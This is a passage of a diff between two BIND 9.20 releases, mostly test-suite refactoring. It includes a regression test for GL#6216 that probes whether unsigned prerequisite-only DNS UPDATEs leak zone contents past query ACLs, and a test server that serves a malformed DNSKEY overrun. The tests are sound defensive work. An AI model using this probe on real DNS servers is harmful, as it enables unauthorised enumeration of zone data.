"_common/options/sources.conf.j2" %} + {% include_indented "_common/options/server.conf.j2" %} + listen-on { @ns.ip@; 127.0.0.1; }; + listen-on-v6 { none; }; + recursion no; + dnssec-validation no; +}; + +{% include "_common/controls.conf.j2" %} + +key "update.key" { + algorithm hmac-sha256; + secret "1234abcd8765"; +}; + +// Anyone may query these zones, but only via the loopback address; +// only "update.key" may update them. +zone "inline" { + type primary; + file "zones/inline.db"; + inline-signing yes; + dnssec-policy default; + checkds no; + allow-query-on { 127.0.0.1; }; + update-policy { grant update.key zonesub any; }; +}; + +zone "plain" { + type primary; + file "zones/plain.db"; + allow-query-on { 127.0.0.1; }; + update-policy { grant update.key zonesub any; }; +}; diff -Nru bind9-9.20.29/bin/tests/system/update_query_acl/tests_prereq_only_update.py bind9-9.20.30/bin/tests/system/update_query_acl/tests_prereq_only_update.py --- bind9-9.20.29/bin/tests/system/update_query_acl/tests_prereq_only_update.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/update_query_acl/tests_prereq_only_update.py 2026-10-12 13:12:08.301897645 +0000 @@ -0,0 +1,123 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Regression test for GL#6216: prerequisite-only UPDATEs honour the query ACLs. + +An UPDATE carrying only prerequisites is answered with NXDOMAIN, YXDOMAIN, +NXRRSET, or YXRRSET, revealing whether a name, RRset, or RDATA exists. It +must therefore be refused wherever an ordinary query would be, by +allow-query and by allow-query-on alike. This must hold for an +inline-signed zone too, although named processes its UPDATEs on the raw +zone loaded from the file rather than on the signed zone it serves and +configures the ACLs on. + +With update-policy, an unsigned UPDATE over TCP gets as far as the +prerequisite checks, as its empty update section gives the policy +nothing to reject, so that is the request used to probe: ns1 refuses +queries by client and ns2 by local address, each with an inline-signed +and a plain zone. +""" + +import dns.rcode +import dns.update +import pytest + +from isctest.template import NS1, NS2 +from isctest.zone import Zone + +import isctest + +pytestmark = pytest.mark.extra_artifacts(["ns*/K*"]) + +ZONES = ["inline", "plain"] + +# The ACL that refuses ordinary queries for the zones of each server. +SERVERS = { + "allow-query": "ns1", + "allow-query-on": "ns2", +} + +# None of these prerequisites is satisfied by the zone content, so that a +# response which did evaluate them names the check that failed rather than +# being a plain NOERROR. +PREREQUISITES = [ + pytest.param( + lambda update, zone: update.present(f"missing.{zone}."), + id="name-in-use", + ), + pytest.param( + lambda update, zone: update.absent(f"a.{zone}."), + id="name-not-in-use", + ), + pytest.param( + lambda update, zone: update.present(f"a.{zone}.", "AAAA"), + id="rrset-exists", + ), + pytest.param( + lambda update, zone: update.absent(f"a.{zone}.", "A"), + id="rrset-does-not-exist", + ), + pytest.param( + lambda update, zone: update.present(f"a.{zone}.", "A", "10.0.0.2"), + id="rrset-exists-value", + ), +] + + +def bootstrap(): + for ns in (NS1, NS2): + for name in ZONES: + Zone(name, ns).configure() + + +@pytest.fixture(name="server", params=SERVERS.keys()) +def server_fixture(request, servers): + return servers[SERVERS[request.param]] + + +@pytest.mark.parametrize("zone", ZONES) +def test_query_refused(server, zone): + """ + Sanity check: an ordinary query for the zone content is refused. + + The signed zone is set up asynchronously after startup, so keep asking + until the query ACL answers rather than a not-yet-loaded database. + """ + msg = isctest.query.create(f"a.{zone}.", "A") + response = isctest.query.tcp(msg, server.ip, expected_rcode=dns.rcode.REFUSED) + isctest.check.refused(response) + + +@pytest.mark.parametrize("zone", ZONES) +def test_query_answered_on_loopback(ns2, zone): + """ + Sanity check: ns2 does answer the same query on the local address that + its allow-query-on permits. + """ + msg = isctest.query.create(f"a.{zone}.", "A") + response = isctest.query.tcp( + msg, "127.0.0.1", ns2.ports.dns, expected_rcode=dns.rcode.NOERROR + ) + isctest.check.noerror(response) + isctest.check.has_answer(response) + + +@pytest.mark.parametrize("prerequisite", PREREQUISITES) +@pytest.mark.parametrize("zone", ZONES) +def test_prerequisite_only_update_refused(server, zone, prerequisite): + """ + An unsigned prerequisite-only UPDATE must reveal no more than a query. + """ + update = dns.update.UpdateMessage(zone) + prerequisite(update, zone) + response = isctest.query.tcp(update, server.ip) + isctest.check.refused(response) diff -Nru bind9-9.20.29/bin/tests/system/upforwd/ans4/ans.py bind9-9.20.30/bin/tests/system/upforwd/ans4/ans.py --- bind9-9.20.29/bin/tests/system/upforwd/ans4/ans.py 2026-09-11 19:41:01.391328363 +0000 +++ bind9-9.20.30/bin/tests/system/upforwd/ans4/ans.py 2026-10-12 13:12:08.301897645 +0000 @@ -1,17 +1,16 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" - -from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllQueries def main() -> None: diff -Nru bind9-9.20.29/bin/tests/system/upforwd/tests_sh_upforwd.py bind9-9.20.30/bin/tests/system/upforwd/tests_sh_upforwd.py --- bind9-9.20.29/bin/tests/system/upforwd/tests_sh_upforwd.py 2026-09-11 19:41:01.393328411 +0000 +++ bind9-9.20.30/bin/tests/system/upforwd/tests_sh_upforwd.py 2026-10-12 13:12:08.303897688 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -19,7 +19,6 @@ "dnstapread.out*", "keyname*", "nsupdate.out.*", - "ans*/ans.run", "ns*/*.bk", "ns*/*.jnl", "ns1/example.db", diff -Nru bind9-9.20.29/bin/tests/system/verify/tests_verify.py bind9-9.20.30/bin/tests/system/verify/tests_verify.py --- bind9-9.20.29/bin/tests/system/verify/tests_verify.py 2026-09-11 19:41:01.393328411 +0000 +++ bind9-9.20.30/bin/tests/system/verify/tests_verify.py 2026-10-12 13:12:08.303897688 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from pathlib import Path from re import compile as Re import os @@ -28,7 +27,7 @@ import dns.zone import pytest -from isctest.template import NO_NS, zones +from isctest.template import zones from isctest.zone import Zone import isctest @@ -73,15 +72,13 @@ return ksk_private_key, ksk_dnskey def gen_and_sign(name, nsec3=False): - zone = Zone(name, NO_NS, signed=True) + zone = Zone(name, signed=True) ksk_private_key, ksk_dnskey = generate_keys() keys = [(ksk_private_key, ksk_dnskey)] zone.render() # read the rendered zone - unsigned_path = str(Path(zone.ns.name) / zone.filepath_unsigned) - signed_path = str(Path(zone.ns.name) / zone.filepath_signed) - zoneobj = dns.zone.from_file(unsigned_path, origin=f"{name}.") + zoneobj = dns.zone.from_file(str(zone.path_unsigned), origin=f"{name}.") lifetime = 30 * 86400 # sign the zone @@ -133,7 +130,7 @@ nsec3_rrsig.ttl = 300 nsec3_rrsig.add(nsec3_sigdata) - zoneobj.to_file(signed_path) + zoneobj.to_file(str(zone.path_signed)) return zone diff -Nru bind9-9.20.29/bin/tests/system/views/tests_sh_views.py bind9-9.20.30/bin/tests/system/views/tests_sh_views.py --- bind9-9.20.29/bin/tests/system/views/tests_sh_views.py 2026-09-11 19:41:01.396328483 +0000 +++ bind9-9.20.30/bin/tests/system/views/tests_sh_views.py 2026-10-12 13:12:08.306897752 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/vulture_ignore_list.py bind9-9.20.30/bin/tests/system/vulture_ignore_list.py --- bind9-9.20.29/bin/tests/system/vulture_ignore_list.py 2026-09-11 19:41:01.396328483 +0000 +++ bind9-9.20.30/bin/tests/system/vulture_ignore_list.py 2026-10-12 13:12:08.306897752 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/wildcard/tests_nonterminal_wildcard.py bind9-9.20.30/bin/tests/system/wildcard/tests_nonterminal_wildcard.py --- bind9-9.20.29/bin/tests/system/wildcard/tests_nonterminal_wildcard.py 2026-09-11 19:41:01.398328531 +0000 +++ bind9-9.20.30/bin/tests/system/wildcard/tests_nonterminal_wildcard.py 2026-10-12 13:12:08.308897795 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -64,7 +64,9 @@ def test_empty_nonterminal_under_wildcard_is_nodata(named_port): - """Querying the empty non-terminal must yield NODATA, not crash named.""" + """ + Querying the empty non-terminal must yield NODATA, not crash named. + """ query = isctest.query.create(ENT_NAME, "A") response = isctest.query.tcp(query, IP_ADDR, named_port) @@ -79,7 +81,9 @@ def test_wildcard_still_expands_without_blocking_ent(named_port): - """A name with no blocking empty non-terminal is still synthesized.""" + """ + A name with no blocking empty non-terminal is still synthesized. + """ query = isctest.query.create("nonexistent.entwild.test.", "A") response = isctest.query.tcp(query, IP_ADDR, named_port) diff -Nru bind9-9.20.29/bin/tests/system/wildcard/tests_sh_wildcard.py bind9-9.20.30/bin/tests/system/wildcard/tests_sh_wildcard.py --- bind9-9.20.29/bin/tests/system/wildcard/tests_sh_wildcard.py 2026-09-11 19:41:01.398328531 +0000 +++ bind9-9.20.30/bin/tests/system/wildcard/tests_sh_wildcard.py 2026-10-12 13:12:08.308897795 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/wildcard/tests_wildcard.py bind9-9.20.30/bin/tests/system/wildcard/tests_wildcard.py --- bind9-9.20.29/bin/tests/system/wildcard/tests_wildcard.py 2026-09-11 19:41:01.398328531 +0000 +++ bind9-9.20.30/bin/tests/system/wildcard/tests_wildcard.py 2026-10-12 13:12:08.308897795 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -80,7 +78,9 @@ def test_wildcard_rdtype_mismatch( name: dns.name.Name, rdtype: dns.rdatatype.RdataType, named_port: int ) -> None: - """Any label non-matching rdtype must result in NODATA.""" + """ + Any label non-matching rdtype must result in NODATA. + """ assume(rdtype != WILDCARD_RDTYPE) # NS and SOA are present in the zone and DS gets answered from parent. @@ -106,7 +106,9 @@ @settings(deadline=None) @given(name=dns_names(suffix=SUFFIX, min_labels=len(SUFFIX) + 1)) def test_wildcard_match(name: dns.name.Name, named_port: int) -> None: - """Any label with maching rdtype must result in wildcard data in answer.""" + """ + Any label with maching rdtype must result in wildcard data in answer. + """ # Subdomains of *.allwild.test. are not to be synthesized. # See RFC 4592 section 2.2.1. @@ -140,7 +142,9 @@ def test_wildcard_with_star_not_synthesized( name: dns.name.Name, named_port: int ) -> None: - """RFC 4592 section 2.2.1 ghost.*.example.""" + """ + RFC 4592 section 2.2.1 ghost.*.example. + """ query_msg = isctest.query.create(name, WILDCARD_RDTYPE) response_msg = isctest.query.tcp(query_msg, IP_ADDR, named_port, timeout=TIMEOUT) @@ -157,7 +161,8 @@ @example(name=isctest.name.prepend_label("*", NESTED_SUFFIX)) @given(name=dns_names(suffix=NESTED_SUFFIX, min_labels=len(NESTED_SUFFIX) + 1)) def test_name_in_between_wildcards(name: dns.name.Name, named_port: int) -> None: - """Check nested wildcard cases. + """ + Check nested wildcard cases. There are `*.nestedwild.test. A` and `*.*.*.nestedwild.test. A` records present in their zone. This means that `foo.*.nestedwild.test. A` must not be synthetized (see test above) @@ -198,7 +203,8 @@ def test_name_nested_wildcard_subdomains_not_synthesized( name: dns.name.Name, named_port: int ): - """Check nested wildcard cases. + """ + Check nested wildcard cases. `foo.*.*.*.nestedwild.test. A` must not be synthesized. """ diff -Nru bind9-9.20.29/bin/tests/system/xfer/ans10/ans.py bind9-9.20.30/bin/tests/system/xfer/ans10/ans.py --- bind9-9.20.29/bin/tests/system/xfer/ans10/ans.py 2026-09-11 19:41:01.398328531 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/ans10/ans.py 2026-10-12 13:12:08.308897795 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllQueries def main() -> None: diff -Nru bind9-9.20.29/bin/tests/system/xfer/ans11/ans.py bind9-9.20.30/bin/tests/system/xfer/ans11/ans.py --- bind9-9.20.29/bin/tests/system/xfer/ans11/ans.py 2026-09-11 19:41:01.398328531 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/ans11/ans.py 2026-10-12 13:12:08.308897795 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -21,13 +19,13 @@ from isctest.asyncserver import ( AsyncDnsServer, - AxfrHandler, DnsProtocol, - DnsResponseSend, QueryContext, ResponseHandler, - StaticResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import AxfrHandler, StaticResponseHandler +from isctest.asyncserver.matchers import Matcher, Protocol, Qtype ZONE = "ixfr-race." NS_NAME = f"ns.{ZONE}" @@ -97,8 +95,25 @@ self.initial_axfr_served = False +class InitialAxfrServed(Matcher): + """ + Match once the initial AXFR has been served. + """ + + def __init__(self, progress: TransferState) -> None: + self._progress = progress + + def match(self, qctx: QueryContext) -> bool: + return self._progress.initial_axfr_served + + def __str__(self) -> str: + return "after the initial AXFR" + + class TransferHandler(ResponseHandler): - """Base for the handlers that share a single TransferState.""" + """ + Base for the handlers that share a single TransferState. + """ def __init__(self, progress: TransferState) -> None: super().__init__() @@ -108,21 +123,23 @@ class InitialSoaHandler(TransferHandler, StaticResponseHandler): answer = [soa(1)] - def match(self, qctx: QueryContext) -> bool: - return ( - qctx.qtype == dns.rdatatype.SOA and not self._progress.initial_axfr_served - ) + def __init__(self, progress: TransferState) -> None: + super().__init__(progress) + self.matcher = Qtype(dns.rdatatype.SOA) & ~InitialAxfrServed(progress) class RefreshSoaHandler(TransferHandler, StaticResponseHandler): answer = [soa(4)] - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.SOA and self._progress.initial_axfr_served + def __init__(self, progress: TransferState) -> None: + super().__init__(progress) + self.matcher = Qtype(dns.rdatatype.SOA) & InitialAxfrServed(progress) class InitialAxfrHandler(TransferHandler, AxfrHandler): - """Serve the initial zone (serial 1) and mark the transfer as done.""" + """ + Serve the initial zone (serial 1) and mark the transfer as done. + """ initial_soa = soa(1) zone_contents = [ @@ -131,18 +148,20 @@ ] final_soa = soa(1) - def match(self, qctx: QueryContext) -> bool: - matched = super().match(qctx) - if matched: - self._progress.initial_axfr_served = True - return matched + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + self._progress.initial_axfr_served = True + async for action in super().get_responses(qctx): + yield action class TruncatedIxfrHandler(ResponseHandler): - """Set TC on an IXFR received over UDP to force the secondary to retry over TCP.""" + """ + Set TC on an IXFR received over UDP to force the secondary to retry over TCP. + """ - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.IXFR and qctx.protocol == DnsProtocol.UDP + matcher = Qtype(dns.rdatatype.IXFR) & Protocol(DnsProtocol.UDP) async def get_responses( self, qctx: QueryContext @@ -162,8 +181,7 @@ then has to detach the queued second chunk before freeing it. """ - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.IXFR and qctx.protocol == DnsProtocol.TCP + matcher = Qtype(dns.rdatatype.IXFR) & Protocol(DnsProtocol.TCP) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/xfer/ans5/ans.py bind9-9.20.30/bin/tests/system/xfer/ans5/ans.py --- bind9-9.20.29/bin/tests/system/xfer/ans5/ans.py 2026-09-11 19:41:01.398328531 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/ans5/ans.py 2026-10-12 13:12:08.308897795 +0000 @@ -3,16 +3,13 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. from collections.abc import AsyncGenerator, Collection -from typing import final - -import abc import dns.message import dns.name @@ -23,15 +20,16 @@ import dns.tsig from isctest.asyncserver import ( - AxfrHandler, ControllableAsyncDnsServer, DnsProtocol, - DnsResponseSend, QueryContext, ResponseAction, ResponseHandler, - SwitchControlCommand, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import SwitchControlCommand +from isctest.asyncserver.handlers import AxfrHandler, ResponseHandlerWrapper +from isctest.asyncserver.matchers import Edns, Qtype from isctest.vars.algorithms import ALG_VARS GOOD_KEY_DATA = "LSAnCU+Z" @@ -43,35 +41,6 @@ KEY_WITH_BAD_DATA = dns.tsig.Key("tsig_key", "abcd1234ffff", ALG_VARS["DEFAULT_HMAC"]) -class ResponseHandlerWrapper(ResponseHandler, abc.ABC): - def __init__(self, inner: ResponseHandler) -> None: - self._inner = inner - - def match(self, qctx: QueryContext) -> bool: - return self._inner.match(qctx) - - def _on_query_received(self, qctx: QueryContext) -> None: - pass - - @abc.abstractmethod - def _modify_response( - self, qctx: QueryContext, response_action: ResponseAction - ) -> None: - raise NotImplementedError - - @final - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: - self._on_query_received(qctx) - async for response_action in self._inner.get_responses(qctx): - self._modify_response(qctx, response_action) - yield response_action - - def __str__(self) -> str: - return f"{self.__class__.__name__}({self._inner})" - - class SignResponses(ResponseHandlerWrapper): """ This handler encapsulates another handler and signs all responses it yields @@ -115,7 +84,9 @@ class SignFirstAndLastResponses(ResponseHandlerWrapper): - """Sign the first and last of the three responses yielded by AxfrHandler.""" + """ + Sign the first and last of the three responses yielded by AxfrHandler. + """ def __init__(self, inner: ResponseHandler, key: dns.tsig.Key = DEFAULT_KEY) -> None: super().__init__(inner) @@ -214,8 +185,7 @@ def __init__(self, serial: int = 1) -> None: self._serial = serial - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.SOA + matcher = Qtype(dns.rdatatype.SOA) async def get_responses( self, qctx: QueryContext @@ -309,8 +279,7 @@ class IxfrNotimpHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.IXFR + matcher = Qtype(dns.rdatatype.IXFR) async def get_responses( self, qctx: QueryContext @@ -323,8 +292,7 @@ def __init__(self, rcode: dns.rcode.Rcode) -> None: self._rcode = rcode - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.AXFR and qctx.query.edns > -1 + matcher = Qtype(dns.rdatatype.AXFR) & Edns() async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/xfer/ans9/ans.py bind9-9.20.30/bin/tests/system/xfer/ans9/ans.py --- bind9-9.20.29/bin/tests/system/xfer/ans9/ans.py 2026-09-11 19:41:01.398328531 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/ans9/ans.py 2026-10-12 13:12:08.308897795 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator, Collection @@ -20,14 +18,14 @@ import dns.rrset from isctest.asyncserver import ( - AxfrHandler, ControllableAsyncDnsServer, - DnsResponseSend, QueryContext, - ResponseAction, ResponseHandler, - ToggleResponsesCommand, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import ToggleResponsesCommand +from isctest.asyncserver.handlers import AxfrHandler +from isctest.asyncserver.matchers import Qname, Qtype TTL = 300 @@ -81,8 +79,7 @@ class SoaHandler(SerialCounted): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.SOA + matcher = Qtype(dns.rdatatype.SOA) async def get_responses( self, qctx: QueryContext @@ -100,12 +97,13 @@ zone: str - def match(self, qctx: QueryContext) -> bool: - return super().match(qctx) and qctx.qname == dns.name.from_text(self.zone) + def __init__(self, serials: SerialCounter) -> None: + super().__init__(serials) + self.matcher = Qtype(dns.rdatatype.AXFR) & Qname(self.zone) async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: async for action in super().get_responses(qctx): yield action self._serials.serial += 1 @@ -131,7 +129,9 @@ class OverrunAxfrHandler(ZoneAxfrHandler): - """Serve the malformed PRIVATEDNS DNSKEY overrun; see OVERRUN_DNSKEY.""" + """ + Serve the malformed PRIVATEDNS DNSKEY overrun; see OVERRUN_DNSKEY. + """ zone = OVERRUN_ZONE diff -Nru bind9-9.20.29/bin/tests/system/xfer/response1.good bind9-9.20.30/bin/tests/system/xfer/response1.good --- bind9-9.20.29/bin/tests/system/xfer/response1.good 2026-09-11 19:41:01.401328603 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/response1.good 2026-10-12 13:12:08.311897859 +0000 @@ -163,6 +163,7 @@ unspec01.example. 3600 IN UNSPEC \# 1 04 uri01.example. 3600 IN URI 10 20 "https://www.isc.org/" uri02.example. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" +uri03.example. 3600 IN URI 30 40 " " wks01.example. 3600 IN WKS 10.0.0.1 6 0 1 2 21 23 wks02.example. 3600 IN WKS 10.0.0.1 17 0 1 2 53 wks03.example. 3600 IN WKS 10.0.0.2 6 65535 @@ -171,4 +172,4 @@ zonemd02.example. 3600 IN ZONEMD 2019020700 1 2 08cfa1115c7b948c4163a901270395ea226a930cd2cbcf2fa9a5e6eb85f37c8a4e114d884e66f176eab121cb02db7d652e0cc4827e7a3204f166b47e5613fd27 8f1tmio9avcom2k0frp92lgcumak0cad.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c 8fpns2uct7fbs643thp2b77peq77k6iu A NS SOA MX AAAA RRSIG DNSKEY NSEC3PARAM kcd3juae64f9c5csl1kif1htaui7un0g.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c kd5mn2m20340dgo0bl7ntsb8jp4bsc7e -mr5ukvsk1l37btu4q7b1dfevft4hkqdk.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c mt38j6vg7s0sn5g17mcuf6iqikfuaj05 A AAAA RRSIG \ No newline at end of file +mr5ukvsk1l37btu4q7b1dfevft4hkqdk.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c mt38j6vg7s0sn5g17mcuf6iqikfuaj05 A AAAA RRSIG diff -Nru bind9-9.20.29/bin/tests/system/xfer/response2.good bind9-9.20.30/bin/tests/system/xfer/response2.good --- bind9-9.20.29/bin/tests/system/xfer/response2.good 2026-09-11 19:41:01.401328603 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/response2.good 2026-10-12 13:12:08.311897859 +0000 @@ -163,6 +163,7 @@ unspec01.example. 3600 IN UNSPEC \# 1 04 uri01.example. 3600 IN URI 10 20 "https://www.isc.org/" uri02.example. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" +uri03.example. 3600 IN URI 30 40 " " wks01.example. 3600 IN WKS 10.0.0.1 6 0 1 2 21 23 wks02.example. 3600 IN WKS 10.0.0.1 17 0 1 2 53 wks03.example. 3600 IN WKS 10.0.0.2 6 65535 diff -Nru bind9-9.20.29/bin/tests/system/xfer/setup.sh bind9-9.20.30/bin/tests/system/xfer/setup.sh --- bind9-9.20.29/bin/tests/system/xfer/setup.sh 2026-09-11 19:41:01.401328603 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/setup.sh 2026-10-12 13:12:08.311897859 +0000 @@ -15,7 +15,7 @@ dnspython_genzone() ( servers="$@" - # Drop unusual RR sets and RR types (AMTRELAY, GPOS, URI, apl02) dnspython + # Drop unusual RR sets and RR types (AMTRELAY, GPOS, apl02) that dnspython # can't handle. For more information see # https://github.com/rthalley/dnspython/issues/1034#issuecomment-1896541899. # - BRID and HHIT are not supported by dnspython at all. @@ -29,7 +29,6 @@ -e '/GPOS.*"" "" ""/d' \ -e '/HHIT/d' \ -e '/RESINFO/d' \ - -e '/URI.*30 40 ""/d' \ -e '/WALLET/d' \ -e '/apl02/d' \ | tr "\t" " " diff -Nru bind9-9.20.29/bin/tests/system/xfer/tests_retransfer_with_force.py bind9-9.20.30/bin/tests/system/xfer/tests_retransfer_with_force.py --- bind9-9.20.29/bin/tests/system/xfer/tests_retransfer_with_force.py 2026-09-11 19:41:01.401328603 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/tests_retransfer_with_force.py 2026-10-12 13:12:08.311897859 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py 